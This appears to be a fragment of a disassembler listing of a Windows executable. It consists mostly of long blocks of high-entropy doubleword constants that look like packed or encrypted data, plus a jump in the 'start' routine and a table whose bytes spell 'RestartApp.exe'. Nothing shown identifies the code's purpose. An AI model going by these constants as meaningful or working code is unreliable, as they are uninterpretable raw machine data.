		dd 0E8305E71h, 0F8BC81F3h, 0CFD6F458h, 7B8C9195h, 0CB28C8h
		dd 7AC64262h, 0D47EABE0h, 28186626h, 6407A240h,	3DDB07C3h
		dd 57B45C9Dh, 6AE310ACh, 0C63D5D81h, 449A62Fh, 0DCF0C83Fh
		dd 78D20D80h, 22E619h, 4994C1F6h, 0E09C760h, 0CD54930Ah
		dd 4A0EA8FEh, 861E24CFh, 0D83038E5h, 148C58E0h,	29F49411h
		dd 0DC00A49Bh, 0EB960D1Ah, 19F5011Bh, 258B851Eh, 3032F5C1h
		dd 0F705EA14h, 93C56634h, 0C52C0A2h, 0D2E94E00h, 30ACC0A2h
		dd 2CC248h, 9B4899FDh, 0FA900461h, 15CC0D70h, 0E0D12531h
		dd 234A7868h, 0AD184840h, 0A20591h, 7DB057FBh, 43121E10h
		dd 28C034Ch, 0C5D47A6Fh, 2F46496h, 3FB2116Ah, 98F9671Bh
		dd 1600B31Ch, 7F99E8D7h, 31BE023Eh, 51DB499Eh, 14DAAC60h
		dd 8CFE8705h, 71814E07h, 1DD8914Bh, 7798A47Fh, 99B617C4h
		dd 10781423h, 79483505h, 0F9848258h, 30E7F220h,	0EE7B1FDAh
		dd 0F59FC02Fh, 67CE0B3Eh, 0C2F83B02h, 0C0401449h, 3007E9C8h
		dd 0EB61199Bh, 5F000A03h, 0B9824CDDh, 0EF5961Dh, 0BE66E730h
		dd 8A45FE80h, 31C0109Ah, 6F5D2AB2h, 0C9AC0EBFh,	6E003C4Fh
		dd 0C4C69769h, 0D9ECCB51h, 0E9631006h, 7757090Fh, 0C85A2343h
		dd 2E73D600h, 0A40E6859h, 94FC4CBAh, 4AB6FE00h,	0A691B97Fh
		dd 0C826F202h, 543915B3h, 751F80A4h, 43EA34FEh,	109C202Eh
		dd 8149EC04h, 3F6008Ch,	42E82579h, 0CC9D947Dh, 34002B00h
		dd 0CE09B124h, 5DDFD898h, 0D739E4EDh, 1961BE81h, 433E155Fh
		dd 5AF39038h, 0E242849Ch, 8FB10298h, 0C69B69D2h, 0A5CA04F4h
		dd 90FF448Ch, 5A4C947Ch, 1840F75Bh, 0FBC1B95h, 0C74517E3h
		dd 6768822Fh, 701A5CA7h, 0E86EFEB4h, 0A238492Eh, 4130F81Eh
		dd 393FC539h, 0AB80819Ch, 0B82D266Ch, 754C5957h, 102B256Ch
		dd 458724h, 0E9172DABh,	4211A2B2h, 88C29600h, 1AA325D8h
		dd 149B225Fh, 0F8C72D00h, 5D052263h, 7CA00142h,	0E23E7DC4h
		dd 0D6DCF06Ah, 1C98FFF8h, 1F61444h, 35FE6FB4h, 58431596h
		dd 5628D0D0h, 22005CF7h, 0EB0250ECh, 76EE6EA7h,	5C0BB8FFh
		dd 88731817h, 2900C3BDh, 0B038B9Dh, 0C9E697h, 0A8FD2587h
		dd 7B1FA989h, 1D81895h,	220A28D0h, 53230120h, 0F5ED1A1Ch
		dd 6305FC5Ah, 2A8AE600h, 0FD3917CBh, 0D6BA0904h, 5004E8C2h
		dd 2C68B39Ah, 6D60CCF3h, 22FEADDh, 0E3982908h, 0BC40FF13h
		dd 7BF26C34h, 24EE8C2Dh, 98A2B2FCh, 7512CC80h, 0BE06A34Dh
		dd 169BBBF9h, 7032C0B9h, 82DC382Dh, 0B2B59100h,	0BEE86AD8h
		dd 5F1826F1h, 0E0636740h, 0D4BCF0AAh, 4E199301h, 3F075D21h
		dd 1A81A83Ch, 0D906C2B8h, 95B7C0E7h, 0F10AE905h, 24072204h
		dd 10502E52h, 2D0D8Eh, 0B8CBE6A0h, 0C02635B5h, 8030B028h
		dd 8999FE3Ch, 0E4293715h, 0D414440Ch, 0DB415E00h, 2AEDC73Bh
		dd 223F00C3h, 69CB66FCh, 0AE16C526h, 6CA203E8h,	3B914803h
		dd 3EFA18EFh, 3CC75D40h, 20B16078h, 7E40991Ch, 53BF96A7h
		dd 1D897D39h, 4445C585h, 0E813FE0Bh, 0B16A14C8h, 93F501F8h
		dd 206F56CDh, 24470h, 6DE85703h, 90C5DE79h, 0EE60D0B6h
		dd 9702430Dh, 0A3C69C90h, 0C3ED3F07h, 1680EA2Eh, 0F492799Ch
		dd 81520102h, 588D0988h, 22EC3804h, 63760614h, 0E0B8CFEDh
		dd 1CB2BE44h, 80B58AC8h, 0CFFF5AF0h, 972D51E7h,	0B0349B02h
		dd 0FE092Ch, 4726AF3Dh,	8266635Ah, 93C40E17h, 7C9BD822h
		dd 0EBCF8014h, 0BA276F95h
		dd 0B51ED901h, 97B21DA6h, 7C65CDEDh, 202BC0E5h,	8D9FB04h
		dd 0C78FD300h, 0D6532F6Eh, 7FE3004Dh, 0E7A04683h, 10951CD4h
		dd 0C87E3Ch, 1A0A28D8h,	0AE8A3DA3h, 0AB6DAF03h,	211B19B2h
		dd 0C11F998h, 4338318h,	0C70437ACh, 58A24EADh, 0B9039CB2h
		dd 0C662FF3Ah, 0BDE82E90h, 19059003h, 0B0BA971Fh, 0F8D937AEh
		dd 6DA725FDh, 0F8AAB811h, 400CF97h, 872588C0h, 0AFC4ACDh
		dd 9CC72B64h, 43951E30h, 1437AB97h, 4E7F89A0h, 0EAE6710Fh
		dd 0D75296E3h, 0C4774C90h, 7BED0067h, 8D38E77Ah, 0C6009B40h
		dd 49643CCFh, 7AA86B75h, 155613BAh, 635C2042h, 301F5F37h
		dd 3B126904h, 4FC2A0E4h, 5942558h, 800C5B07h, 8B186D19h
		dd 174C2900h, 0D6751E93h, 0A690014Ah, 12300545h, 229ADC60h
		dd 52FD8602h, 0E1A8BD0Eh, 0FF1307E0h, 1B14C8F5h, 1118B300h
		dd 935C7443h, 0D2414E68h, 0C0DD90DCh, 27E673Fh,	94BF5FF7h
		dd 68E266CEh, 57C78060h, 27A2F04h, 9C80E038h, 0A8B46FF6h
		dd 0F128C5Ch, 0DC835754h, 0F3BD8F00h, 6AF07D69h, 2093FD25h
		dd 6470EF9Ch, 1E6F12D8h, 58002079h, 881FC79Ah, 6D074945h
		dd 2980C4FEh, 48D8326Ch, 71CE3074h, 0F9A0762Eh,	0FA01D6B1h
		dd 6E01A9F6h, 6086C3D5h, 1C230A2Bh, 45BECB00h, 6A56B954h
		dd 2DC48E09h, 0CDF38049h, 14AA623Bh, 987A1E4Eh,	0C055FB84h
		dd 669A0200h, 83249B48h, 0A87EE7FEh, 1F3C1219h,	0AD3415CEh
		dd 6AC85400h, 3E56EF33h, 0BAB10088h, 0DCF4E999h, 0DD2A1FA6h
		dd 0E4A8420h, 1744A266h, 7C071760h, 42304606h, 10E6C84h
		dd 89318169h, 71CE91D7h, 494834C8h, 49B1F24h, 0CCF9051Eh
		dd 0CE1F7F4Ch, 0A83C9D09h, 94D69C45h, 24F830E4h, 1ECA167h
		dd 9058D325h, 43880FAh,	687DCD9Dh, 0BE9093Bh, 8880FB01h
		dd 6E75D2C5h, 0C43FD828h, 6332E000h, 0C88697A9h, 18F57744h
		dd 0C195F058h, 9C74C406h, 0EF71D3h, 0E9680941h,	78B1F79Ah
		dd 1F280300h, 1DF96DDFh, 0AFB8FBC6h, 9B600080h,	0FF177962h
		dd 584C6654h, 1CD086Dh,	0F4903399h, 0D5D93A8Fh,	7019800Bh
		dd 31C7416Ah, 40E09CEBh, 98B2D8EEh, 8B350D00h, 86E0A750h
		dd 5B2D00A3h, 0A9FD73EFh, 905C46E8h, 9D1A029Ch,	0F9666549h
		dd 450400C8h, 0D073DB01h, 5C1F3Ch, 71378D2Fh, 25D89CBDh
		dd 0C844247Ch, 0BE774707h, 2880C712h, 64049Fh, 41E37FB4h
		dd 0FCACEDD0h, 1104035Ch, 6302069Dh, 48E3E6EFh,	0D6293C90h
		dd 70672600h, 0B10A621h, 0BC8F003Dh, 9B7E684Ch,	18944EAEh
		dd 3AFB3BC0h, 0BA2F0BF2h, 487182B8h, 3013F300h,	1E12AFh
		dd 2380BBFh, 3F019193h,	588C0C0Bh, 1405939h, 4A716FE1h
		dd 0CBA871A6h, 3431E5D8h, 64C027F2h, 6676325Dh,	526513CCh
		dd 0E8DC20F8h, 0EF3FE022h, 0B6268067h, 62573FDDh, 5E3AF5B2h
		dd 65DAC354h, 55E02945h, 2F141430h, 802461B1h, 0E2E1A848h
		dd 0B6BF0039h, 174FEB9Bh, 1297C961h, 0F0E240C4h, 2F1B0086h
		dd 4FCECFAFh, 0C9304CFFh, 6D9B9C13h, 34D50063h,	3072A1CCh
		dd 0EE4A32E9h, 836AC84Bh, 0C04BBE01h, 1F4CA28Bh, 0A5C126ACh
		dd 0EF19A4C0h, 0B6D6C600h, 0F2424D91h, 0B8F7482Eh, 18FAEE03h
		dd 0CFB8FE3Ah, 0A49048EFh, 8B0F0339h, 469F458h,	0EC603AE4h
		dd 2639B2BCh, 3E91EC4h,	7B1E9AC2h, 0BDD0A008h, 0BFCA9Dh
		dd 69203E35h, 0BE9A2B59h, 5ED38702h, 41819093h,	0F02CD8F0h
		dd 5A413F81h, 3638CC55h, 32245800h, 5F5EDABAh, 4BE7F26Ch
		dd 76488C90h, 0C5D17916h, 5CB46F11h, 1DD68010h,	0E6319DA9h
		dd 0EDEF005Eh, 8AF06D35h, 0DF083371h, 93133615h, 0C734E070h
		dd 10D4D301h, 38F67C51h, 48C120C0h, 7507357Ah, 60EBDD3Bh
		dd 15B37F18h, 3C90384Bh, 39FFC90Ch, 0F98E4C35h,	0AE2191DFh
		dd 7CA0B8CEh, 1C9F80B0h, 5EE50F69h, 34588C1Fh, 86C9D000h
		dd 0DC64AACFh, 6C75003Bh, 3A9AF608h, 7300BFC5h,	0C79034D7h
		dd 9EF5980h, 2ECC647Dh,	0F22A9478h, 0ADF27C6Fh,	5D2F5A00h
		dd 1B67EE55h, 30EF0BEh,	313212FFh, 3800D691h, 6D1D03BDh
		dd 0B16E26F6h, 0B7EA8000h, 600F1639h, 0A09CF827h, 5F08080h
		dd 74DB0079h, 0B2D13F96h, 8972F507h, 7AD70B13h,	62305701h
		dd 10B90C08h, 6B71D083h, 92E08529h, 29CF19E9h, 0B49CA0E4h
		dd 0FD255Eh, 8491FE41h,	90A8928h, 0E6195BFAh, 64490F63h
		dd 6AC6F0h, 729329F7h, 47F3919Eh, 0CCC56C00h, 507182D8h
		dd 0B74F0054h, 0E3F17349h, 6A0F3B8Ah, 0F105CE18h, 8110E918h
		dd 0C100EB08h, 347DDC24h, 175B331h, 0FB49E1E8h,	40DBF2D3h
		dd 0A8C2B7EFh, 40708731h, 0FADC0766h, 254800BEh, 0FCFED906h
		dd 240C8CD3h, 2982521Ah, 0DF23189h, 50306C69h, 54276B64h
		dd 64D6D300h, 12B17653h, 1772002Ah, 0F2E0B649h,	350CE05h
		dd 1160E918h, 74BAC049h, 39F10333h, 369B0ED8h, 0E50C1800h
		dd 1ADB5E38h, 6B9908D2h, 1C007FAFh, 496C244Ah, 0F091FEACh
		dd 55430076h, 0EA8628AAh, 0F9074294h, 0CD05D38Dh, 0E0763h
		dd 0AB2343EAh, 0DF5F9BE5h, 35FB9900h, 0C924F5C4h, 0C50A0F68h
		dd 519BCE85h, 800F0CBh,	8D6CC780h, 57CBE5Fh, 0A107DB05h
		dd 5C36C063h, 8703BAC3h, 3527ECC7h, 84FBD7h, 221B3A41h
		dd 5F79DC36h, 18803B30h, 7B256709h, 4C97006Fh, 0C6373DD8h
		dd 6B01E42Fh, 73C19C02h, 78807D64h, 2BE8061Ch, 48038FCCh
		dd 0E0D0D492h, 9D610087h, 8BFD28C3h, 0F20185F1h, 0AA388135h
		dd 64E36B09h, 0C00129CCh, 457AB968h, 89C05E72h,	3FDB25DEh
		dd 17761Ah, 0E22EFBF7h,	0B833B3D5h, 0E568D001h,	7AC05081h
		dd 703DC9F8h, 0DE88A809h, 0C0AEA2Fh, 7F795F35h,	0CC3D4B50h
		dd 0D1969CDBh, 0DE7A81BDh, 0B512EB0Bh, 0E84157E4h, 0A9ED0391h
		dd 3D5F3050h, 8D5E8900h, 59C00F94h, 0F93500ABh,	0FF2A692Eh
		dd 865463CEh, 0C3006784h, 0F859759Bh, 3B3E45D2h, 37800E82h
		dd 0F6E28707h, 0D4284916h, 0B601A8C7h, 576DFD1h, 698148FCh
		dd 724A78C0h, 470024B0h, 7D2B8B03h, 281B073Ch, 0A84D8D9h
		dd 5C90B092h, 0CB4E0080h, 69EE3E5Eh, 16722h, 8F78BE1Ah
		dd 55A37C84h, 52D51402h, 0C0C3D63Eh, 0CCD33BEh,	7C63DD0Ch
		dd 0D101C4C1h, 0B863CEFh, 0F048818Eh, 92CE3DC7h, 0D928A000h
		dd 8E1101DEh, 1C698664h, 0FE401C8Dh, 4088406h, 0C2108526h
		dd 30148D42h, 2800C0F7h, 2B1E37CEh, 0E5AC0Dh, 38527896h
		dd 0FEA7D7B8h, 623C8100h, 0C1DCDB0Ah, 3DE0C758h, 4B29733Fh
		dd 83D1E787h, 81011906h, 8E9F399Ch, 69837888h, 867FB01h
		dd 72832100h, 0C9A3BA77h, 37C601B7h, 8FAC9DB2h,	0B3C440A7h
		dd 0E0672429h, 530FED8h, 6066FA2Dh, 3EF241FFh, 9031221h
		dd 5E063D0h, 2892ECF6h,	6044DBh, 31495CDFh, 62474DD2h
		dd 0A019C5E0h, 7130DCFAh, 26889208h, 0C7ED0025h, 0A45CC6D4h
		dd 7C004437h, 2E4CAE63h, 2A05211h, 3477DAF3h, 0B0A0465Fh
		dd 0D743C839h, 1DB3BD00h, 0B17C629Ch, 8F3C0ACBh, 85807983h
		dd 3055CC85h, 7E366EECh, 243FFD01h, 95C8DA01h, 4E5F81EFh
		dd 43C0599Dh, 0FEF02E2Dh, 40E0C9D9h, 0DE47D854h, 965D5303h
		dd 80FBCDEAh, 0AC3FB0h,	0E8790D94h, 0D19CB59Ah,	0AA378112h
		dd 0FAF71000h, 615ECFB0h, 587F6141h, 8EACF45Ah,	72FCC412h
		dd 0F38E840h, 0F3C8CF7Bh, 48006221h, 1679889h, 5DDC752h
		dd 300A2D35h, 8244BD18h, 4595288Fh, 13697FE0h, 1FB70A4Eh
		dd 0E0532228h, 57840080h
		dd 0E5F211E1h, 0FC3EE28Dh, 2DB41209h, 0B640028Ah, 0F8936857h
		dd 46D8DDF8h, 0B06F9D0Ch, 3E3A87Bh, 3C6B9024h, 290AF209h
		dd 0EC750205h, 808DDA88h, 317A55BBh, 6D0051E9h,	226C9435h
		dd 246ADE75h, 0D8B290h,	5CFFAB39h, 74D3E03h, 0E8FB8058h
		dd 60DA6BFCh, 4C56518Bh, 1D09B16Fh, 0F32A65h, 62DD9464h
		dd 0E06E7AFBh, 32E213C6h, 462408CFh, 0DC317740h, 3D5A1DC3h
		dd 40546412h, 30E3903Ch, 0C28A3914h, 698440A0h,	0C1733E13h
		dd 0FC95DD00h, 0A154426Ah, 0E6127FA8h, 6CA3DC62h, 0DB80AA4Fh
		dd 0A700AC39h, 97D0C90Bh, 9AB4C375h, 0E5020410h, 0C0152F95h
		dd 8A4B6464h, 42FA0518h, 0F43FC2A1h, 0F9480369h, 0A3401DDh
		dd 610FB0BEh, 3659567h,	1D3C6EC4h, 2636BA0h, 0A62D2071h
		dd 422ED041h, 0DA2081F0h, 0C06E4Ah, 0D12223E2h,	9BF40433h
		dd 0B274900h, 18E0F7CDh, 48C2066Eh, 398B818Fh, 913A5E30h
		dd 0ECE7D5h, 0B77E99CDh, 838E7A22h, 0D1167099h,	93829830h
		dd 0D80D0599h, 43785F02h, 6C353B90h, 9E5575F0h,	0D72F1800h
		dd 772845F6h, 0A12D015Fh, 22996B0h, 5971CB68h, 0C8E1500Fh
		dd 0CD84C053h, 483E056Ch, 3C94440Eh, 0C7E2C70h,	1FA16E44h
		dd 0C0A44C10h, 4503829Ch, 1DA0EBCh, 915AC017h, 7C7F488Eh
		dd 0B102F780h, 75549222h, 0F3078B3Ch, 0F4ED0C0Bh, 0CF41F8C7h
		dd 0E18E8CE0h, 0F5A70AADh, 2D52C0E9h, 0F002E8Fh, 0D0898142h
		dd 30FC76BEh, 4F91475Eh, 36392BA2h, 0F1770005h,	0D70993B8h
		dd 0DED80010h, 0FB33A12Eh, 0C600CBDCh, 0EADDF7E1h, 224B0F81h
		dd 0EB000C68h, 0EE523C7Ch, 0C59782h, 0CBB59344h, 51D0B79Dh
		dd 0ADC28F02h, 6670958Eh, 0F2A203A0h, 0BA9FDD08h, 0DC616DB0h
		dd 0A5E14403h, 900466CEh, 155386A4h, 88799A8Fh,	4600284Ch
		dd 42A83435h, 624AD052h, 6940D0C0h, 5D91C00Bh, 0E2F631DDh
		dd 9509A503h, 0A0F00DA9h, 222EEDEh, 0D1DC2F6Ch,	5840D376h
		dd 0F224D959h, 1741B0E0h, 66D831B2h, 60DAF4DFh,	0A1191989h
		dd 0A40EE6B3h, 9EDBF08Eh, 0AE2749h, 0DA7A5E90h,	3EE89082h
		dd 0DC18043Dh, 0AA493990h, 31961400h, 0BA613EB2h, 5A0A0686h
		dd 0C65E70ADh, 0C01C400h, 3D448D8Eh, 8039C30Fh,	0F9768263h
		dd 1A473000h, 65B8BBD0h, 27F1054Fh, 0CCC38508h,	0C28CAC0h
		dd 0D8DEBC28h, 0D97D96A8h, 0CE3E9C0Eh, 517F8C8Eh, 0C4BA4C85h
		dd 0D35D019Ch, 4207033Dh, 0C1207E3Ch, 0F238A5A0h, 0F4562C02h
		dd 150134Ch, 0D3D01910h, 0AD4030D4h, 9B7218C0h,	1F21B158h
		dd 962E745h, 708086F7h,	8EC0E863h, 0E47A8729h, 0B6A8CA05h
		dd 80C85487h, 5FDF5701h, 0DB3A02BDh, 0BE4C8024h, 0A3B5569Ah
		dd 34D80AC0h, 2478C985h, 0D6443A04h, 568D70C4h,	0D7B43CC0h
		dd 8191903Dh, 0B5118168h, 6E50C078h, 8537E500h,	0DE0611F2h
		dd 0CFB42E31h, 6D8D418Ch, 0CC21C8C2h, 2991CE0Bh, 0DA68803Dh
		dd 51162CF6h, 0FEC1D481h, 0F4479B11h, 0E9480258h, 0E46C0248h
		dd 2004681Dh, 0E8A4833Ch, 0C7B1548h, 9189645Ch,	397C001Ah
		dd 0FE5EDC63h, 0E6001696h, 5BF39B29h, 98315F4h,	0F705A36Eh
		dd 0DAB03048h, 0CEC62B01h, 71FC9CC0h, 0F574020h, 6D81A48Dh
		dd 5FD84262h, 0F00F044h, 0F4946C36h, 7E540BA4h,	2E232658h
		dd 80B16088h, 9613944Ch, 0F20535F5h, 8CCCA530h,	75570167h
		dd 0A63CCEE4h, 0B3B86068h, 56787460h, 4AFB46B0h, 0B220405Eh
		dd 7B619379h, 0DD426218h, 284D9B30h, 2B06B09h, 2D32E031h
		dd 686467E8h, 6DAF3Ah, 0DF5D7913h, 222CEBFFh, 29018EDBh
		dd 64ADA1F8h, 5307C33h,	7D8F4B8h, 4D9840C6h, 0E95D52EEh
		dd 0B0259C60h, 0FD07B1B8h, 0F4B9D40Ch, 3DCF2910h, 0CBD33864h
		dd 41EEAD00h, 2118A8D6h, 6569B113h, 97867D00h, 0E94B7Fh
		dd 0DEAE43DFh, 0EAC8C4CCh, 0B17AEE01h, 0A9046974h, 0E859CCh
		dd 3BF11329h, 0F09D5401h, 0B0E2463Ch, 418E4063h, 1E610C03h
		dd 979951C6h, 8307163Ch, 0FC9DEEB0h, 9C190352h,	1B63D470h
		dd 9DAFE7C9h, 71006460h, 2EFEBFCCh, 8EC500E3h, 184DE26Ch
		dd 8CEF6D5Ah, 716876A9h, 99100092h, 4D886B3Ah, 0C700F02Eh
		dd 0AD8FAA2Fh, 0F7FF9CA2h, 0E609AB10h, 89064105h, 4B83E4F8h
		dd 0D351009Ah, 0C992B982h, 0B1002048h, 58E2A902h, 3CC4134h
		dd 5A162EA6h, 3106966Fh, 0EED468DEh, 18520791h,	1F66473Dh
		dd 191ED886h, 31928130h, 0F54914CEh, 142F6D4h, 0A9530DD5h
		dd 0BFEA9D0Eh, 67B11CC9h, 0DCCC5EC1h, 19C87D60h, 0A9B61E47h
		dd 9408F87h, 40AC6567h,	8A11764Fh, 670BC0A8h, 0B7EC5950h
		dd 33DE170Ch, 0D081EBh,	0E6EF48B2h, 810DF669h, 0A6BF9301h
		dd 0D7685E67h, 0E22900F7h, 0ACD62145h, 4F50EA9Ch, 9FE07748h
		dd 29C3337Ah, 90715DF5h, 302062E8h, 0F819E734h,	0AB0F9FEEh
		dd 0E0D30EF1h, 5A9487E4h, 80A15461h, 0E9696077h, 31425D2Bh
		dd 0CEA9E50Bh, 3042003Ah, 75B7B1Dh, 262C0F0Bh, 0F3254171h
		dd 209BC9BEh, 5E3AD240h, 68E88AA1h, 0B0048CBh, 0E3A69F47h
		dd 61646018h, 2CA9CB5Fh, 0D0CE6829h, 41E40800h,	0DF8D9904h
		dd 0FC4B998h, 791E3E07h, 7AC05DBEh, 39DF156h, 5B7C6869h
		dd 0D2A9C525h, 714980F5h, 0D563A03Ch, 16E400EEh, 0CE2A0E09h
		dd 0F603F3B6h, 310F6CCAh, 5333D99Dh, 9141888Ah,	0C7EB05CCh
		dd 10AC4E54h, 193AA0A1h, 0C42BF0B0h, 9EC08148h,	0A56474C0h
		dd 1716042Ch, 1025E059h, 9A005805h, 5BAD5077h, 38906378h
		dd 30A953Dh, 69A4A1E3h,	0E1F1986Dh, 607490E0h, 87CCF87Ch
		dd 5A1173B9h, 9D14986Ah, 70C0F4E0h, 0AFCB8678h,	0C0281F4Ch
		dd 3AC520A0h, 0FF8738Ch, 0C136941Dh, 0F70F32A1h, 0F45EC80Bh
		dd 822DFE04h, 2090411Ah, 608113F0h, 0A66C6999h,	6A0B6277h
		dd 8012487Ah, 4D515981h, 82E500D7h, 542FE0Ch, 980664B0h
		dd 57C78C67h, 0DE9D0781h, 34A21h, 340797F6h, 5C98257Bh
		dd 0DB1844FEh, 0D4E0EE51h, 7F0474E3h, 7BF01AFh,	33ACEF5Bh
		dd 2218h, 0DFA22F79h, 7999988Dh, 6F7D0051h, 631A60AFh
		dd 320118E9h, 68EE53A5h, 398DE8CDh, 0E0C91BE2h,	900808Ch
		dd 0DE21FEE0h, 1BF685Dh, 0AC140F53h, 401D23BDh,	4EE29CF4h
		dd 1281CB88h, 25D968E3h, 0DC700220h, 18409EBDh,	0F4061CD6h
		dd 9B8122E4h, 3B180069h, 102AFA62h, 1F00C5D8h, 92698B7Ah
		dd 0DFE034B3h, 21BC349h, 3EA8A5E6h, 190CFF32h, 21F433CCh
		dd 4DD30336h, 5377740Dh, 0F1F3C100h, 0A6078618h, 0A070F989h
		dd 0BC6E00C9h, 2BF72CABh, 2926303Dh, 9011B499h,	3763E12h
		dd 5CC6608Ch, 0B909D97Ah, 8730B547h, 0F8C01C05h, 1CD244B2h
		dd 0C2FEBDDFh, 0AB908167h, 50F16CA0h, 30006B0Fh, 72264A4Eh
		dd 295D37F8h, 80D4F061h, 0D9B1392Bh, 0AA716741h, 82328500h
		dd 5E750E0h, 0E6A000CCh, 5C69A55Eh, 8D007F30h, 0D310FFE2h
		dd 0F0598DDh, 7488D157h, 0F9610F66h, 509D5F00h,	67AC5EEEh
		dd 954904Fh, 0F52D0DD0h, 3EF0C080h, 18A010E2h, 1C99D668h
		dd 343B93BAh, 4CDAE820h, 409100F6h, 0AE61EC13h,	0C471FC7Ch
		dd 2BBD2F00h, 0ACBCFD57h, 621730E3h, 0C510F551h, 0CCA9C100h
		dd 94890CABh, 0FE860E57h, 23843B13h, 9A00CC92h,	8F58423Bh
		dd 205C59EFh, 0DFCC27F7h, 8C9902EBh, 56C68632h,	2B13C4A0h
		dd 7200F08Fh, 0C139442Fh, 2E4D997h, 0AE3FB21Bh,	40C4625Ah
		dd 76F5F400h, 0CC934553h, 0C7640F8Fh, 0F881096Eh, 4875ACE1h
		dd 0CB014880h, 961B20C4h
		dd 1460EBB2h, 113084E6h, 0A6AC297Dh, 9042E17Bh,	6270201Fh
		dd 0D91F32B8h, 49C08C20h, 9B82D756h, 77C700A6h,	2918F1Dh
		dd 0AF58ECA3h, 99800078h, 6882B6D5h, 49BEF7CFh,	0A605326h
		dd 5D83683h, 0C8E89CABh, 0A70ECC28h, 6A027C10h,	9640B477h
		dd 2C6B70CFh, 43803412h, 1888A426h, 68069AB4h, 6A76D40Ah
		dd 0BD400031h, 7533082Fh, 59008C93h, 927F38AFh,	0A1D103h
		dd 0E658724Ch, 88851BFEh, 0B01F6AFCh, 8970FC9Ch, 147C6947h
		dd 0B4755A2Bh, 0A4E8F6C0h, 441AE4F3h, 5F199E80h, 0DBF0FBC3h
		dd 5D0050A7h, 6E76C188h, 1B404F24h, 0E8367ED9h,	0A1006FD3h
		dd 2E4E5843h, 747A3EAh,	0E79683DEh, 0B61F4089h,	0CB133AD3h
		dd 80012AACh, 341A8BA3h, 79008C62h, 98ABD096h, 444C199Dh
		dd 0D331003Ch, 6CF9F46Dh, 0AD8300FFh, 25CF3404h, 767B5484h
		dd 0A99E79C0h, 73FC46Dh, 9706B91Dh, 5863E142h, 4BA26020h
		dd 761A4614h, 16C080BCh, 0B877227Dh, 9895F2B0h,	0A05C00D0h
		dd 260E85D0h, 8C185E4Eh, 5A18ABB3h, 0C9862643h,	3DA16028h
		dd 0B00074E6h, 8DC88A2Ch, 380AE8C0h, 0EB0198E0h, 0E59D09A0h
		dd 8231BB50h, 723E569Eh, 0FF0197CCh, 0DBFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53C1AC:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_53F559
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 2 dup(0FCh),	1
		dd 80h,	0
		dd 12FF5400h, 0
		dd 58FF4200h, 2	dup(0)
		dd 5B16AF00h, 5	dup(0)
		dd 9FA00F00h, 0
		dd 0AD000000h, 0C6580600h, 979EAE10h, 30h, 8C00h, 3 dup(0)
		dd 2ACA300h, 56F69D00h,	58423300h, 8 dup(0)
		dd 183B7A00h, 88h, 400h, 0B5E200h, 0
		dd 0F52E0F00h, 77h, 0C435000h, 7Eh, 0FF9F6400h,	0FFh, 5	dup(0)
		dd 58227C00h, 5	dup(0)
		dd 400h, 4 dup(0)
		dd 0E75CB500h, 1FFFB077h, 251302h, 0
		dd 6B4C00h, 0F6EA7400h,	56F94600h, 0Fh dup(0)
		dd 0DF7BFD00h, 75h, 5 dup(0)
		dd 40000000h, 0D58D8D00h, 74h, 5A30D400h, 12h dup(0)
		dd 9E0A9A00h, 7	dup(0)
		dd 0FE030400h, 17Fh, 1574000h, 0ACh, 2 dup(0)
		dd 0A000h, 0
		dd 9F2BDE00h, 0DFA00200h, 7463h, 3 dup(0)
		dd 0A3999500h, 9 dup(0)
		dd 0D5C5EB00h, 6Bh, 3 dup(0)
		dd 0FF96CC00h, 0FFh, 5 dup(0)
		dd 0A86CA000h, 0FFh, 0ADB1CA00h, 82AD8000h, 8Fh, 4 dup(0)
		dd 28010500h, 0A940190Ah, 0FFh,	577BC000h, 4 dup(0)
		dd 0A0154000h, 9 dup(0)
		dd 80D53F00h, 36h, 2 dup(0)
		dd 5953DD00h, 979EAE80h, 30h, 7FFCFE00h, 0FAh, 7 dup(0)
		dd 0FE030400h, 35B7Fh, 9 dup(0)
		dd 2216800h, 7 dup(0)
		dd 200h, 12FF6000h, 0C435100h, 40F0827Eh, 0BAh,	0Ah dup(0)
		dd 58B45A00h, 4	dup(0)
		dd 100h, 0E7C48600h, 77h, 0
		dd 69B09400h, 4F3F4F06h, 0E5h, 11h dup(0)
		dd 3FC00h, 0B2D36B00h, 0D4C96AC4h, 77h,	0
		dd 6000h, 2 dup(0)
		dd 5A8E4400h, 4	dup(0)
		dd 0E8000h, 2ACA300h, 2	dup(0)
		dd 0D3D45200h, 0DD59F0ECh, 77h,	5862A800h, 0
		dd 5D9A0900h, 77h, 3 dup(0)
		dd 17872600h, 63h, 90C1F200h, 6Bh, 6 dup(0)
		dd 24A60200h, 98h, 0E8061800h, 0FE030477h, 7Fh,	12FF5400h
		dd 5 dup(0)
		dd 5A913500h, 0AF8C8C00h, 0FFh,	0CCDEC700h, 3Ah, 5 dup(0)
		dd offset loc_4055FE+2
		dd 6 dup(0)
		dd offset loc_5642FE+2
		dd 2 dup(0)
		dd 5A041F00h, 14h, 5 dup(0)
		dd 0ABE900h, 2 dup(0)
		dd 100h, 9 dup(0)
		dd 73655200h, 74726174h, 2E707041h, 657865h, 23h dup(0)
		dd 5B3F7C00h, 9	dup(0)
		dd 6B4C00h, 0
		dd 8B0BC700h, 0DDCFEB02h, 6Bh, 9F69DD00h, 0
		dd 5403CD00h, 4	dup(0)
		dd 324B6A00h, 78h, 4 dup(0)
		dd 33333300h, 2	dup(33333333h),	33C2B433h, 0
		dd 121EF500h, 0
		dd 72E26500h, 40h, 4 dup(0)
		dd 0A1B13400h, 0
		dd 9FA00F00h, 2	dup(0)
		dd 0AF4B00h, 0
		dd 0FFFFFE00h, 0FFh, 3 dup(0)
		dd 0FFFF5400h, 0FFh, 188D8D00h,	0CBh, 5	dup(0)
		dd 0FFFF0000h, 0FFh, 58030400h,	0
		dd 40967300h, 0FEh, 0C2BC00h, 0Dh dup(0)
		dd 0FE030400h, 2A1F8D7Fh, 56h, 5AE52A00h, 486CB800h, 2
		dd 0FE030400h, 0F6BC567Fh, 7Eh,	0
		dd 0D2FFF000h, 68h, 3 dup(0)
		dd 57A1D200h, 0
		dd 5110E500h, 0Ch, 2 dup(0)
		dd 0FE030400h, 9F69DD7Fh, 7 dup(0)
		dd 0B128C900h, 86h, 3 dup(0)
		dd 0FF9F6400h, 0FFh, 5 dup(0)
		dd 57002300h, 55597400h, 86h, 6	dup(0)
		dd 69DD00h, 3 dup(0)
		dd 0FF9F6400h, 0FFh, 2 dup(0)
